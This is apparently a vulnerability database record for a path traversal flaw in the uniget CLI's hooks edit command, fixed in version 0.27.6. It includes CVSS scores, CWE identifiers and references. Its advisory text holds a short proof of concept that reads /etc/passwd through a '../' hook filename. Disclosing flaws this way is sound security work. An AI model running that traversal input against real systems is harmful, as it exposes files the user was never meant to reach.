{"id":"CVE-2026-55062","aliases":["CVE-2026-55062","GHSA-m6jg-wr9m-cg2f","GO-2026-6247"],"related":[],"kind":"vulnerability","state":"published","title":"uniget: Path Traversal in Hook Files - Directory Escape Vulnerability","summary":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.","source":"cvelist"},{"lang":"en","text":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n<img width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" />","format":"markdown","source":"ghsa"},{"lang":"en","text":"uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability in gitlab.com/uniget-org/cli","format":"markdown","source":"go"}],"published":"2026-08-17T17:46:33.000Z","modified":"2026-09-30T17:32:07.107Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"}],"cwes":["CWE-22","CWE-23","CWE-36","CWE-73"],"affected":[{"ranges":[{"version":"< 0.27.6","status":"affected"}],"vendor":"uniget-org","product":"cli","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.6"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.6"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"go"}],"references":[{"url":"https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/uniget-org/cli","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-23T19:12:55.327Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55062","url":"https://www.cve.org/CVERecord?id=CVE-2026-55062","licence":"CVE Terms of Use","modified":"2026-09-23T19:13:01.161Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m6jg-wr9m-cg2f","url":"https://github.com/advisories/GHSA-m6jg-wr9m-cg2f","licence":"CC-BY-4.0","modified":"2026-08-18T15:11:05.263Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6247","url":"https://pkg.go.dev/vuln/GO-2026-6247","licence":"CC-BY-4.0","modified":"2026-08-18T15:00:27.150Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55062","licence":"Public domain","modified":"2026-09-30T17:32:07.107Z"}],"updatedAt":"2026-11-25T22:59:39.501Z","epss":{"score":0.0019,"percentile":0.09123,"date":"2026-12-01T12:00:22.000Z"}}